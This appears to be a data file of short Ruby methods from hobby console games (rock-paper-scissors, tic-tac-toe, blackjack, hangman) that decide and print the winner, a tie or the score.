"def display_results(player, computer)\n if win?(player, computer)\n prompt 'You won!'\n elsif win?(computer, player)\n prompt 'You lost!'\n else\n prompt \"It's a tie!\"\n end\nend",
"def announce_winner\n\t\t@board.show\n\t\tputs \"\"\n\t\tputs \"**********************************\"\n\t\tcase @current_turn\n\t\twhen @player_one\n\t\t\tif @ai == false\n\t\t\t\tputs \"Checkmate! Player 2 is the winner!\"\n\t\t\telsif @ai == true\n\t\t\t\tputs \"Checkmate! The computer is the winner!\"\n\t\t\tend\n\t\twhen @player_two\n\t\t\tputs \"Checkmate! Player 1 is the winner!\"\n\t\twhen @ai_color\n\t\t\tputs \"Checkmate! You are the winner!\"\n\t\tend\n\tend",
"def display_winner(total_points, player_name, wins)\n if total_points[0] > 21\n wins[1] += 1\n msg = \"#{player_name} busted, Dealer wins!!\"\n elsif total_points[1] > 21\n wins[0] += 1\n msg = \"Dealer busted, #{player_name} wins!!\"\n elsif total_points[0] > total_points[1]\n wins[0] += 1\n msg = \"#{player_name} wins, dealer lost!!\"\n elsif total_points[0] < total_points[1]\n wins[1] += 1\n msg = \"Dealer wins, #{player_name} lost!!\" \n else\n msg = \"It's a tie!!\"\n end\n puts msg\n puts\n puts\n puts \"#{player_name} wins: #{wins[0]}\\tDealer wins: #{wins[1]}\"\nend",
"def output\n if player1_wins > player2_wins\n puts \"Player 1: (with a score of) #{player1_wins}\\n\\n Won this game! \\n\\nAfter #{round_number} rounds and survived #{tie} WARs.\"\n elsif player1_wins < player2_wins\n puts \"Player 2: (with a score of) #{player2_wins}\\n\\n Won this game! \\n\\nAfter #{round_number} rounds and survived #{tie} WARs.\"\n # else\n # puts \"ERRRRRRRRRROOOOOOOOOORRRRRR\"\n # puts player1_wins\n # puts player2_wins\n # puts tie\n end\n end",
"def show_winner\n human_winner = true\n for pl in 1..3 do\n if @players[pl].score > @players[0].score\n human_winner = false \n end \n end\n if human_winner\n a = Artii::Base.new\n puts a.asciify(\"Congrats!\").colorize(:red)\n space\n print_with_pause(\" You have beat the computers. \".colorize(:red))\n waits(3)\n else\n a = Artii::Base.new\n puts a.asciify(\"DEFEAT\").colorize(:red)\n space\n print_with_pause(\"You are no match for machines! Enjoy crying yourself to sleep tonight!\".colorize(:red))\n waits(3)\n end\n print_with_pause(\" Press Enter to go back to Main Menu\".colorize(:red))\n gets.chomp\n puts `clear`\n end",
"def PrintWinner\n if @winner == 'C'\n puts \"Sorry, cat's game.\"\n else\n if @player1.mark == @winner\n puts \"Congratulations! \" + @player1.name + \" wins!\"\n elsif @player2.mark == @winner and @player2.type == 'human'\n puts \"Congratulations! \" + @player2.name + \" wins!\"\n elsif @player2.mark == @winner and @player2.type == 'computer'\n #1 player, 'O' won. Do not congratulate player on computer victory.\n puts \"Sorry, \" + player2.name + \" wins.\"\n end\n end\n end",
"def print_result(user_input, computer_input, who_win)\n puts ''\n puts '================================================='\n puts ''\n puts \"You choose: #{transfer_input_string(user_input)}\"\n puts \"The computer chooses: #{transfer_input_string(computer_input)}\"\n puts \"***** #{who_win} ******\"\n puts ''\n puts '================================================='\n puts ''\nend",
"def winner\n winning_conditions_met? == \"x\" ? \"#{@player_one} won!\" : \"#{@player_two} won!\"\n end",
"def announce_winner(winner)\n puts \"#{winner} won!\"\nend",
"def winner(player)\n puts \"WE HAVE A WINNER!!!!\"\n puts \"#{player.name} wins with #{player.score}/3\"\n puts '-----GAME OVER-----'\n puts 'Ciao for now'\n exit(0)\n end",
"def winner\n if (@board == @word)\n if (@player_one_points > @player_two_points)\n puts \"Player one is the winner with #{@player_one_points} points! Player two lost with #{@player_two_points} points.\"\n else\n puts \"Player two is the winner with #{@player_two_points} points! Player one lost with #{@player_one_points} points.\"\n end\n end\n end",
"def display_score(player_wins, computer_wins) # keeps track of number of wins for each side\n puts \"================================================\"\n if player_wins == MAXIMUM_WINS\n prompt(\"Congratulations, Player collected #{MAXIMUM_WINS} wins. Player won the entire game!\")\n elsif computer_wins == MAXIMUM_WINS\n prompt(\"Sorry, Computer has won #{MAXIMUM_WINS} times before you #sad_day\")\n else\n prompt(\"Current Score is #{player_wins}(User):#{computer_wins}(Computer)\")\n end\n puts \"================================================\"\nend",
"def winner \n if won? \n turn_count.even? ? \"O\" : \"X\"\n end \n end",
"def show_results(user, comp)\n if winner(user, comp)\n say 'You won that round!'\n elsif winner(comp, user)\n say 'The computer won that round..'\n else\n say 'That round was a TIE'\n end\nend",
"def determineWinner\n if @botChoice == @playerChoice\n puts \"It's a tie! Redo round:\"\n elsif (@playerChoice == \"paper\" and @botChoice == \"rock\") or \\\n (@playerChoice == \"scissors\" and @botChoice == \"paper\") or \\\n (@playerChoice == \"rock\" and @botChoice == \"scissors\")\n @roundsWon += 1\n @roundsLeft -= 1\n puts \"You won this round! Rounds Won: #{@roundsWon}. Rounds Lost: #{@roundsLost}\"\n else\n @roundsLost += 1\n @roundsLeft -= 1\n puts \"You lost this round... Rounds Won: #{@roundsWon}. Rounds Lost: #{@roundsLost}\"\n end\n end",
"def main_game\n p1_wins = 0\n p2_wins = 0\n puts \"Let's play Rock-Paper-Scissors!\"\n games = how_many_games\n best_of(games)\n\n until p1_wins == games || p2_wins == games\n winner = one_round\n display_winner(winner)\n p1_wins += track_p1_wins(winner)\n p2_wins += track_p2_wins(winner)\n end\n\n overall_winner = overall_winner?(p1_wins, p2_wins)\n display_overall_winner(overall_winner)\nend",
"def choose_winner; end",
"def displaywinner(p)\r\n\t\t\t@output.puts(\"Player #{p} wins.\")\r\n\t\tend",
"def winner\n puts \"██╗ ██╗██╗███╗ ██╗███╗ ██╗███████╗██████╗ \"\n sleep(1)\n puts \"██║ ██║██║████╗ ██║████╗ ██║██╔════╝██╔══██╗\"\n sleep(1)\n puts \"██║ █╗ ██║██║██╔██╗ ██║██╔██╗ ██║█████╗ ██████╔╝\"\n sleep(1)\n puts \"██║███╗██║██║██║╚██╗██║██║╚██╗██║██╔══╝ ██╔══██╗\"\n sleep(1)\n puts \"╚███╔███╔╝██║██║ ╚████║██║ ╚████║███████╗██║ ██║\"\n sleep(1)\n puts \" ╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝\"\n sleep(1)\n puts \" \"\n sleep(1)\n restart_game\nend",
"def winner_message\n if @player1.lives > @player2.lives\n puts \"P1 wins with a score of #{@player1.lives}/3 \\n\"\n else\n puts \"P2 wins with a score of #{@player2.lives}/3 \\n\"\n end\n end",
"def tie\n puts \"It's a draw! Nobody wins :(\"\n end",
"def determine_winner(player_one_selection, player_two_selection)\n if player_one_selection == player_two_selection\n outcome = \"\\nThis round was a tie. You both chose '#{player_one.move}'\"\n elsif player_one_selection == \"rock\" && player_two_selection == \"scissors\" ||\n player_one_selection == \"paper\" && player_two_selection == \"rock\" ||\n player_one_selection == \"scissors\" && player_two_selection == \"paper\"\n outcome = \"\\n#{player_one.name} won this round!\"\n @player_one.wins_round\n elsif player_two_selection == \"rock\" && player_one_selection == \"scissors\" ||\n player_two_selection == \"paper\" && player_one_selection == \"rock\" ||\n player_two_selection == \"scissors\" && player_one_selection == \"paper\"\n outcome = \"\\n#{player_two.name} won this round!\"\n @player_two.wins_round\n else\n puts \"\\nSomething strange happened here\"\n end\n outcome\n end",
"def display_results(man, cpu)\n if win?(man, cpu)\n prompt(\"#{man} against #{cpu}. You won!\")\n elsif win?(cpu, man)\n prompt(\"#{man} against #{cpu}. You lost!\")\n else\n prompt(\"#{man} against #{cpu}. It's a tie!\")\n end\nend",
"def playRound(score)\n\tputs \"Player 1 enter your weapon: \"\n\tp1 = gets.chomp.downcase\n\tputs \"Player 2 enter your weapon: \"\n\tp2 = gets.chomp.downcase\n\tresult = determineWinner(p1, p2)\n\tupdateScore(score,result)\nend",
"def display_winner\n\t\tif @player_one.return_number_of_win > @player_two.return_number_of_win # on fait une condition qui compare le nombre de victoire des joueurs pour savoir lequel a gagner la partie\n\t\t\tputs \"\\n\\n\\nBravo #{@player_one.return_name.colorize(:green)} Vous avez battu #{@player_two.return_name.colorize(:red)}\"\n\t\telsif @player_one.return_number_of_win < @player_two.return_number_of_win\n\t\t\tputs \"\\n\\n\\nBravo #{@player_two.return_name.colorize(:green)} Vous avez battu #{@player_one.return_name.colorize(:red)}\"\n\t\telse\n\t\t\tputs \"\\n\\n\\nBravo #{@player_two.return_name.colorize(:blue)} et #{@player_one.return_name.colorize(:blue)} Vous avez fait un match nul!\"\n\t\tend\n\tend",
"def winner\n\t\tputs @board[won?[0]] + \" Won the Game!\" \n\tend",
"def determine_winner\n if @current_moves[0] == @current_moves[1]\n \t\tputs \"We have a tie!\"\n \telsif ((@current_moves[0] == \"Rock\") && (@current_moves[1] == \"Scissors\")) \n \t\tputs \"#{player_1.name} wins - #{@current_moves[0]} crushes #{@current_moves[1]}\"\n @winner = @player_1\n player_1.games_won\n \telsif ((@current_moves[0] == \"Scissors\") && (@current_moves[1] == \"Paper\")) \n \t\tputs \"#{player_1.name} wins - #{@current_moves[0]} cuts #{@current_moves[1]}\"\n @winner = @player_1\n player_1.games_won\n \telsif ((@current_moves[0] == \"Paper\") && (@current_moves[1] == \"Rock\"))\n \t\tputs \"#{player_1.name} wins - #{@current_moves[0]} covers #{@current_moves[1]}\"\n @winner = @player_1\n player_1.games_won\n \telse\n \t\tputs \"#{player_2.name} wins - #{@current_moves[1]} beats #{@current_moves[0]}\"\n @winner = @player_2\n player_2.games_won\n \tend\n end",
"def win_message(condition, board)\n if condition == \"draw\"\n puts\n puts \"Stalemate. I think an AI might have something to say about this...\"\n elsif condition == \"cheat_code\"\n puts\n puts \"Aww, thanks! Okay, I declare you the winner, #{board.winner}. :)\"\n elsif condition == \"win\"\n puts\n puts \"Congratulations, #{board.winner}! You are the winner!\"\n end\n replay_prompt\nend",
"def new_game(p1, p2)\n x = determine_winner(p1, p2)\n if x != \"Tie\"\n puts \"The winner of the game is #{x}!\"\n else\n puts \"It was a tie!\"\n end\n end",
"def success_case\n\tputs \" - Ok #{@name}, c'est ton choix #{@answer_play}\" \n\tputs \" \"\n end",
"def ask_question\n puts '---- NEW TURN -----'\n puts \"#{@current_player.name}: what does #{@first_number} plus #{@second_number} equal?\"\n \n end",
"def display_game_winner(player1,player2)\n display_player_scores(player1,player2)\n determine_game_winner(player1,player2)\nend",
"def display_win_message(winning_choice)\n case winning_choice\n when 'p'\n puts \"Paper covers Rock!\"\n when 'r'\n puts \"Rock smashes Scissors\"\n when 's'\n puts \"Scissors cuts Paper!\"\n end\nend",
"def congrats_winner(turn_winner) #UX\n if turn_winner == nil\n puts\n sleep 1\n puts \"\\nIt's a tie! EVERYBODY WINS!\\n\" \n sleep 1 \n else\n puts\n sleep 1\n puts \"You win that round, #{turn_winner}!\"\n sleep 1\n end\n end",
"def display_winner\n puts \"#{human.name} chose #{human.move}.\"\n puts \"#{computer.name} chose #{computer.move}.\"\n\n if human.move > computer.move # this is actually an instance method call on the `Move` obj: `if human.move.>(computer.move)`, and this method `>` needs to be defined for the `Move` class\n puts \"#{human.name} won!\"\n elsif human.move < computer.move\n puts \"#{computer.name} won!\"\n else\n puts \"It's a tie!\"\n end\n\n # case human.move\n # when 'rock'\n # puts \"It's a tie!\" if computer.move == 'rock'\n # puts \"#{human.name} won!\" if computer.move == 'scissors'\n # puts \"#{computer.name} won!\" if computer.move == 'paper'\n # when 'paper'\n # puts \"It's a tie!\" if computer.move == 'paper'\n # puts \"#{human.name} won!\" if computer.move == 'rock'\n # puts \"#{computer.name} won!\" if computer.move == 'scissors'\n # when 'scissors'\n # puts \"It's a tie!\" if computer.move == 'scissors'\n # puts \"#{human.name} won!\" if computer.move == 'paper'\n # puts \"#{computer.name} won!\" if computer.move == 'rock'\n # end\n end",
"def win_?(one_two_ten) \n \n case one_two_ten\n when 0\n return \"\"\n\t\n delay(3)\n \n when 10\n 20.times{print \" \"};print \"Unsurprisingly, I've won this round.\\n\\n\"\n when 2\n 18.times{print \" \"};print \"A tie!? You won't be so lucky next time.\"\n when 1\n\tputs \"Hmm... you won this round. You seem a bit bored. Tired of me going easy on you?\\n\\n\"\n end\n \n end",
"def print_final_message(name_player, win)\n if win\n puts \" #{name_player} you won\".colorize(:cyan)\n else\n puts \" #{name_player} you lost\".colorize(:light_red)\n end\n puts\nend",
"def overall_winner_message()\n if @score_count.get_determine_set_winner() == 1\n return \"#{@player.get_name()} won the set of games with a score of #{@score_count.get_games_won()} vs. #{@score_count.get_other_games_won()}. Both players tied #{@score_count.get_games_tied} time(s).\"\n\n elsif @score_count.get_determine_set_winner() == 2\n return \"#{@player.get_other_name()} won the set of games with a score of #{@score_count.get_other_games_won()} vs. #{@score_count.get_games_won()}. Both players tied #{@score_count.get_games_tied} time(s).\"\n \n else @score_count.get_determine_set_winner() == 0\n return \"It was a tie, guys. You're both just super duper.\"\n end\n end",
"def print_outcome()\n\t\t#call compare players\n\t\t@outcome = compare_players(Array.new(5,true),0)\n\t\t#check for tie\n\t\tif @outcome == -1 then\n\t\t\tputs (\"Game was a tie\")\n\t\t#print outcome\n\t\telse\n\t\t\tputs (\"Player #{@players[@outcome].name} won\")\n\t\tend\n\tend",
"def test_game_displays_winner\n @game.move(1, 1) #X\n @game.move(2, 2) #O\n @game.move(1, 2) #X\n @game.move(2, 0) #O\n assert_output(/#{@game.player_1} Wins!/) { @game.move(1, 0) } #X\n end",
"def display_winning_msg(winning_msg)\n case winning_msg\n when \"r\"\n puts \"Rock Smashes scissors\"\n when \"p\"\n puts \"Paper Wraps Rock\"\n when \"s\"\n puts \"Scissors cuts Paper\"\n end\nend",
"def play_a_game\n\t#PLAYER 1 choses a valid selection of r,p,s\n\tprint \"\\nPLAYER 1, please select the corresponding number for your choice:\\n1 rock\\n2 paper\\n3 scissors\\n\\n\"\n\tchoice = gets.chomp\n\tvalidate_rps_choice(choice)\n\tplayer_1_choice = choice\n\n\tputs \"-------------------------------------------------\"\n\tprint \"\\nPLAYER 2, please select the corresponding number for your choice:\\n1 rock\\n2 paper\\n3 scissors\\n\\n\"\n\t\t#PLAYER 2 choses a valid selection of r,p,s\n\tchoice = gets.chomp\n\tvalidate_rps_choice(choice)\n\tplayer_2_choice = choice\n\n\tputs lets_see_who_wins(player_1_choice, player_2_choice)\n\nend",
"def display_winner\n puts \"You chose #{human.move}.\" ######## THIS BIT HERE.... WHAT IS HUMAN -- we instantiate a Player obj and assign to @human, and another to @computer\n puts \"The computer chose #{computer.move}.\"\n\n case human.move\n when 'rock'\n puts \"It's a tie!\" if computer.move == 'rock'\n puts \"You won!\" if computer.move == 'scissors'\n puts \"Computer won!\" if computer.move == 'paper'\n when 'paper'\n puts \"It's a tie!\" if computer.move == 'paper'\n puts \"You won!\" if computer.move == 'rock'\n puts \"Computer won!\" if computer.move == 'scissors'\n when 'scissors'\n puts \"It's a tie!\" if computer.move == 'scissors'\n puts \"You won!\" if computer.move == 'paper'\n puts \"Computer won!\" if computer.move == 'rock'\n end\n end",
"def determine_game_winner(player1,player2)\n if player1.score > player2.score\n puts \"#{player1.name} is the winner!\"\n elsif player1.score < player2.score\n puts \"#{player2.name} is the winner!\"\n else\n puts \"It's a tie.\"\n end\nend",
"def round selected_player \n puts \"#{selected_player.name}: what does #{Question.number1} + #{Question.number2} equal?\"\n value = gets.chomp\n \n #It checks to see if a question is right or not and outputs the corresponding text prompt\n\n Question.output(value) ? \n (puts \"Correct! Wow you are so smart!\") : \n (selected_player.incorrect\n puts \"Seriously? No!\")\n \n #Outputs the score of the game\n\n puts \"#{Player1.name}: #{Player1.life}/3 vs #{Player2.name}: #{Player2.life}/3\"\nend",
"def show_results(win)\n if win\n puts \"Winner!\"\n elsif win == false\n puts \"Loser!\"\n else\n puts \"It's a tie\"\n end\nend",
"def winning_message(player)\n case player\n when 'Paper'\n puts \"Paper wraps rock\"\n when 'Rock'\n puts \"Rock breaks scissors\"\n when 'Scissors'\n puts \"Scissors cuts paper\"\n end\nend",
"def scoreboard(round_winner)\n if round_winner != 0\n round_winner == 1 ? round_winner = @player1 : round_winner = @player2 \n puts \"#{round_winner.name} won the round.\"\n round_winner.win\n else puts \"tie\"\n end\n puts \"#{player1.name}: #{player1.score}\", \"#{player2.name}: #{player2.score}\"\n end",
"def print_which_player_wins player_picked, comp_picked\n if player_picked == comp_picked\n puts \"It's a tie!\"\n elsif player_picked == \"Paper\"\n if comp_picked == \"Rock\"\n puts \"Paper wraps Rock, you win!\"\n elsif comp_picked == \"Scissors\"\n puts \"Scissors cuts Paper, you lose!\"\n end\n elsif player_picked == \"Rock\"\n if comp_picked == \"Paper\"\n puts \"Paper wraps Rock, you lose!\"\n elsif comp_picked == \"Scissors\"\n puts \"Rock crushes Scissors, you win!\"\n end\n elsif player_picked == \"Scissors\"\n if comp_picked == \"Paper\"\n puts \"Scissors cut Paper, you win!\"\n elsif comp_picked == \"Rock\"\n puts \"Rock crushes Scissors, you lose!\"\n end\n end\nend",
"def winner\n if @board.over?\n check = @board.won?\n if check != false\n player = player1.token == check ? player1 : player2\n puts\n puts \"|***************************************************************|\"\n puts \"Congratualations #{player.name}! You have won this match.\"\n puts \"|***************************************************************|\"\n puts \"Press anykey to continue ...\"\n gets.chomp\n else\n puts \"End game. There's no winner. This is tied game :(\"\n end\n end\n end",
"def report_results(winner_name)\n @players.each do |player_name, socket|\n if player_name == winner_name\n result = \"Win\"\n else\n result = \"Loss\"\n end\n score = rand(1...5) #meaningless\n result_string = player_name.strip + \"|\" + result + \"|\" + score.to_s\n @wrapper_connection.puts(result_string)\n end\n return\n end",
"def winner(answer, computers_answer)\n if (answer.downcase == 'rock') && (computers_answer.downcase == 'paper')\n puts 'YOU LOSE'\n elsif (answer.downcase == 'paper') && (computers_answer.downcase == 'rock')\n puts 'WINNER'\n elsif (answer.downcase == 'paper') && (computers_answer.downcase == 'scissors')\n puts 'You Lose'\n elsif (answer.downcase == 'scissors') && (computers_answer.downcase == 'paper')\n puts 'WINNER'\n elsif (answer.downcase == 'scissors') && (computers_answer.downcase == 'rock')\n puts 'You Lose'\n elsif (answer.downcase == 'rock') && (computers_answer.downcase == 'scissors')\n puts 'Winner'\n else\n puts 'You both tied. Go again.'\n rock_paper_scissors_game\n exit\n end\n end",
"def determineWinner(p1_weapon, p2_weapon)\n\tif p1_weapon == \"rock\"\n\t\tif p2_weapon == \"paper\"\n\t\t\ttext = \"Player 2 wins this round!\"\n\t\telsif p2_weapon == \"scissors\"\n\t\t\ttext = \"Player 1 wins this round!\"\n\t\telsif p2_weapon == \"rock\"\n\t\t\ttext = \"Tie!\"\n\t\telse\n\t\t\ttext = \"Please enter rock, paper, or scissors!\"\n\t\tend\n\telsif p1_weapon == \"paper\"\n\t\tif p2_weapon == \"scissors\"\n\t\t\ttext = \"Player 2 wins this round!\"\n\t\telsif p2_weapon == \"rock\"\n\t\t\ttext = \"Player 1 wins this round!\"\n\t\telsif p2_weapon == \"paper\"\n\t\t\ttext = \"Tie!\"\n\t\telse\n\t\t\ttext = \"Please enter rock, paper, or scissors!\"\n\t\tend\n\telsif p1_weapon == \"scissors\"\n\t\tif p2_weapon == \"rock\"\n\t\t\ttext = \"Player 2 wins this round!\"\n\t\telsif p2_weapon == \"paper\"\n\t\t\ttext = \"Player 1 wins this round!\"\n\t\telsif p2_weapon == \"scissors\"\n\t\t\ttext = \"Tie!\"\n\t\telse\n\t\t\ttext = \"Please enter rock, paper, or scissors!\"\n\t\tend\n\telse\n\t\ttext = \"Please enter rock, paper, or scissors!\"\n\tend\n\tputs text\n\treturn text\nend",
"def compare_winner (player_choice, computer_choice)\n case \n when player_choice == \"P\" && computer_choice == \"R\"\n return \"Player\"\n when player_choice == \"R\" && computer_choice == \"S\"\n return \"Player\"\n when player_choice == \"S\" && computer_choice == \"P\"\n return \"Player\"\n when player_choice == computer_choice\n puts \"You selected the same thing as the computer. It's a tie\"\n else\n return \"Computer\"\n end\n end",
"def game_over(result, turns, game_word)\n system('cls')\n if result == 'WIN'\n puts '***************************************************************'\n puts '* YOU WON!! *'\n puts '***************************************************************'\n puts ''\n puts ' The word was: ' + game_word\n puts ''\n puts ' You guessed it in ' + turns.to_s + ' turns!'\n puts ''\n puts ''\n puts 'Press \"R\" to Play Again or \"Q\" to Quit!'\n puts ''\n print 'Option:'\n else\n puts '***************************************************************'\n puts '* YOU LOSE!! *'\n puts '***************************************************************'\n puts ''\n puts ' The word was: ' + game_word\n puts ''\n puts ''\n puts 'Press \"P\" to Play Again or \"Q\" to Quit!'\n puts ''\n print 'Option:'\n end\n end",
"def run\n play_round until game_over?\n puts \"#{winner} wins!\"\n end",
"def result\n if victory? == @player1 || victory? == @player2\n puts \"Congratulations #{victory?.name}, you won!\"\n puts \" \"\n puts '╭━━━┳━╮╱╭┳━━━╮╭━━━┳━━━╮╭━━━┳━━━┳━╮╭━┳━━━╮\n ┃╭━━┫┃╰╮┃┣╮╭╮┃┃╭━╮┃╭━━╯┃╭━╮┃╭━╮┃┃╰╯┃┃╭━━╯\n ┃╰━━┫╭╮╰╯┃┃┃┃┃┃┃╱┃┃╰━━╮┃┃╱╰┫┃╱┃┃╭╮╭╮┃╰━━╮\n ┃╭━━┫┃╰╮┃┃┃┃┃┃┃┃╱┃┃╭━━╯┃┃╭━┫╰━╯┃┃┃┃┃┃╭━━╯\n ┃╰━━┫┃╱┃┃┣╯╰╯┃┃╰━╯┃┃╱╱╱┃╰┻━┃╭━╮┃┃┃┃┃┃╰━━╮\n ╰━━━┻╯╱╰━┻━━━╯╰━━━┻╯╱╱╱╰━━━┻╯╱╰┻╯╰╯╰┻━━━╯\n ╭━━━┳╮╱╱╭━━━┳╮╱╱╭╮╭━━━┳━━━┳━━━┳━━┳━╮╱╭┳━━━╮\n ┃╭━╮┃┃╱╱┃╭━╮┃╰╮╭╯┃┃╭━╮┃╭━╮┃╭━╮┣┫┣┫┃╰╮┃┃╭━╮┃\n ┃╰━╯┃┃╱╱┃┃╱┃┣╮╰╯╭╯┃┃╱┃┃┃╱╰┫┃╱┃┃┃┃┃╭╮╰╯┣╯╭╯┃\n ┃╭━━┫┃╱╭┫╰━╯┃╰╮╭╯╱┃╰━╯┃┃╭━┫╰━╯┃┃┃┃┃╰╮┃┃╱┃╭╯\n ┃┃╱╱┃╰━╯┃╭━╮┃╱┃┃╱╱┃╭━╮┃╰┻━┃╭━╮┣┫┣┫┃╱┃┃┃╱╭╮\n ╰╯╱╱╰━━━┻╯╱╰╯╱╰╯╱╱╰╯╱╰┻━━━┻╯╱╰┻━━┻╯╱╰━╯╱╰╯'\n else\n puts \"Too bad! Tied game...\"\n puts \" \"\n puts '╭━━━┳━╮╱╭┳━━━╮╭━━━┳━━━╮╭━━━┳━━━┳━╮╭━┳━━━╮\n ┃╭━━┫┃╰╮┃┣╮╭╮┃┃╭━╮┃╭━━╯┃╭━╮┃╭━╮┃┃╰╯┃┃╭━━╯\n ┃╰━━┫╭╮╰╯┃┃┃┃┃┃┃╱┃┃╰━━╮┃┃╱╰┫┃╱┃┃╭╮╭╮┃╰━━╮\n ┃╭━━┫┃╰╮┃┃┃┃┃┃┃┃╱┃┃╭━━╯┃┃╭━┫╰━╯┃┃┃┃┃┃╭━━╯\n ┃╰━━┫┃╱┃┃┣╯╰╯┃┃╰━╯┃┃╱╱╱┃╰┻━┃╭━╮┃┃┃┃┃┃╰━━╮\n ╰━━━┻╯╱╰━┻━━━╯╰━━━┻╯╱╱╱╰━━━┻╯╱╰┻╯╰╯╰┻━━━╯\n ╭━━━┳╮╱╱╭━━━┳╮╱╱╭╮╭━━━┳━━━┳━━━┳━━┳━╮╱╭┳━━━╮\n ┃╭━╮┃┃╱╱┃╭━╮┃╰╮╭╯┃┃╭━╮┃╭━╮┃╭━╮┣┫┣┫┃╰╮┃┃╭━╮┃\n ┃╰━╯┃┃╱╱┃┃╱┃┣╮╰╯╭╯┃┃╱┃┃┃╱╰┫┃╱┃┃┃┃┃╭╮╰╯┣╯╭╯┃\n ┃╭━━┫┃╱╭┫╰━╯┃╰╮╭╯╱┃╰━╯┃┃╭━┫╰━╯┃┃┃┃┃╰╮┃┃╱┃╭╯\n ┃┃╱╱┃╰━╯┃╭━╮┃╱┃┃╱╱┃╭━╮┃╰┻━┃╭━╮┣┫┣┫┃╱┃┃┃╱╭╮\n ╰╯╱╱╰━━━┻╯╱╰╯╱╰╯╱╱╰╯╱╰┻━━━┻╯╱╰┻━━┻╯╱╰━╯╱╰╯'\n end\n end",
"def play\n while !over?\n turn\n end\n won? ? (puts \"Congratulations #{@winner}!\") : (puts \"Cat's Game!\")\n\n end",
"def calculate_winner(a, b)\n if a == b\n puts \"A tie!\"\n return [0,0]\n elsif a == ROCK && b == SCISSORS ||\n a == SCISSORS && b == PAPER ||\n a == PAPER && b == ROCK\n puts \"You win that round! (#{RPS::CHOICES[a]} beats #{RPS::CHOICES[b]})\"\n return [1,0]\n elsif b == ROCK && a == SCISSORS ||\n b == SCISSORS && a == PAPER ||\n b == PAPER && a == ROCK\n puts \"You lose that round :( (#{RPS::CHOICES[a]} loses to #{RPS::CHOICES[b]})\"\n return [0,1]\n end\n puts \"what: #{a} #{b}\"\n end",
"def p_winner(tictactoe)\n return \"Player 1\" if tictactoe.winner?(p1_moves(tictactoe))\n return \"Player 2\" if tictactoe.winner?(p2_moves(tictactoe))\n return \"Draw\" if tictactoe.draw?(p1_moves(tictactoe),p2_moves(tictactoe))\n end",
"def print_scores_and_determine_winner\n tie = false\n puts \"\\nScores:\"\n winner = @players[0]\n (0..num_players - 1).each do |i|\n puts \"\\n#{@players[i].name} : #{@players[i].score}\"\n tie = @players[i].score == winner.score\n winner = @players[i] if @players[i].score > winner.score\n end\n\n puts \"\\nIt was a tie!\" if tie == true\n puts 'Congratulations ' + winner.name + \"!! You win!!\\n\" if tie == false\n end",
"def winner\n if type == :basic\n basic_winner\n elsif type == :war\n war_winner\n elsif type == :mutally_assured_destruction\n \"No Winner\"\n end\n end",
"def winner\n count1, count2 = @cups[6].count, @cups[13].count\n if count1 > count2\n @name1\n elsif count2 > count1\n @name2\n else\n :draw\n end\n end",
"def determine_winner(playerHand, dealerHand)\n \n Console_Screen.cls #Clear the display area\n \n #Show the value of the player and dealer's hands\n puts \"Player's hand: \" + playerHand.to_s + \"\\n\\n\"\n puts \"Dealer's hand: \" + dealerHand.to_s + \"\\n\\n\\n\\n\\n\\n\"\n \n if playerHand > 21 then #See if the player has gone bust\n puts \"You have gone bust!\\n\\n\"\n\t result = \"The Dealer has won!\"\n print \"Press Enter to continue.\" \n else #See if the player and dealer have tied\n if playerHand == dealerHand then\n puts \"Tie!\\n\\n\"\n\t\t result = \"Tie!\"\n print \"Press Enter to continue.\"\n end\n #Dee if the dealer has gone bust\n if dealerHand > 21 then\n puts \"The Dealer has gone bust!\\n\\n\"\n\t\t result = \"The Player has won\"\n print \"Press Enter to continue.\"\n else\n #See if the player's hand beats the dealer's hand\n if playerHand > dealerHand then\n puts \"You have won!\\n\\n\"\n\t\t result = \"The player has won!\"\n print \"Press Enter to continue.\"\n end\n #See if the dealer's hand beats the player's hand\n if playerHand < dealerHand then\n puts \"The Dealer has won!\\n\\n\"\n\t\t result = \"The Dealer has won!\"\n print \"Press Enter to continue.\"\n end\n end \n end\n write_log_file(playerHand, dealerHand, result)\n Console_Screen.pause #Pause the game\n \n end",
"def ask_for_winner(flavors)\n if flavors.length > 2\n puts \"0. \"+flavors[0]\n puts \"1. \"+flavors[1]\n puts \"2. \"+flavors[2]\n puts \"3. \"+flavors[3]\n puts \"4. \"+flavors[4]\n while true\n answer = gets.chomp.downcase\n if (answer == \"0\" || answer == \"1\" || answer == \"2\" || answer == \"3\" || answer == \"4\")\n return flavors[answer.to_i]\n else\n puts \"Please answer '0' - '4'.\"\n end\n end\n else\n puts \"0. \"+flavors[0]\n puts \"1. \"+flavors[1]\n while true\n answer = gets.chomp.downcase\n if (answer == \"0\" || answer == \"1\")\n return flavors[answer.to_i]\n else\n puts \"Please answer '0' or '2'.\"\n end\n end\n end\nend",
"def introduction\n system 'clear'\n prompt(\"Each match is 5 rounds. First to 5 wins!\")\n prompt(\"Who is going first? Player or Computer? (p or c)\")\nend",
"def announce_winner(total_votes)\n winner = total_votes.sort_by {|finalist, vote_count| vote_count}.last\n puts \"#{winner[0].to_s.capitalize.green} is the winner!\"\n winner[0]\n end",
"def winner(user, computer)\r\n winner = \"\"\r\n if (user == 'p' && computer == 'r')||\r\n (user == 's' && computer == 'p') ||\r\n (user == 'r' && computer == 's')\r\n winner = \"You\"\r\n elsif (computer == 'p' && user == 'r')||\r\n (computer == 's' && user == 'p') ||\r\n (computer == 'r' && user == 's')\r\n winner = \"Computer\"\r\n else\r\n winner = \"tie\"\r\n end\r\n \r\n if winner == \"tie\"\r\n puts \"It's a tie!\"\r\n else\r\n puts \"#{winner} won!\"\r\n end\r\nend",
"def declare_winner\n if (@player1.lives == 0 && @player2.lives == 0)\n puts \"It's a tie!\"\n elsif @player1.lives == 0\n puts \"#{@player2.name} is the winner with a life count of #{@player2.lives} and #{@player2.point} points!\".green\n else\n puts \"#{@player1.name} is the winner with a life count of #{@player1.lives} and #{@player2.point} points!\".green\n end\n end",
"def output_results(x_won, o_won, win, round, mark, move)\r\n tab(5, \"Round #{round}: #{mark} selected #{move}\", \"-\" * 31)\r\n if x_won == true\r\n tab(7, \"Player 1 (X) won!\", \"\\n\")\r\n tab(3, \"Winning moves: #{win}\", \"-\" * 31)\r\n elsif o_won == true\r\n tab(7, \"Player 2 (O) won!\", \"\\n\")\r\n tab(3, \"Winning moves: #{win}\", \"-\" * 31)\r\n else\r\n tab(9, \"It was a tie!\", \"-\" * 31)\r\n end\r\n end",
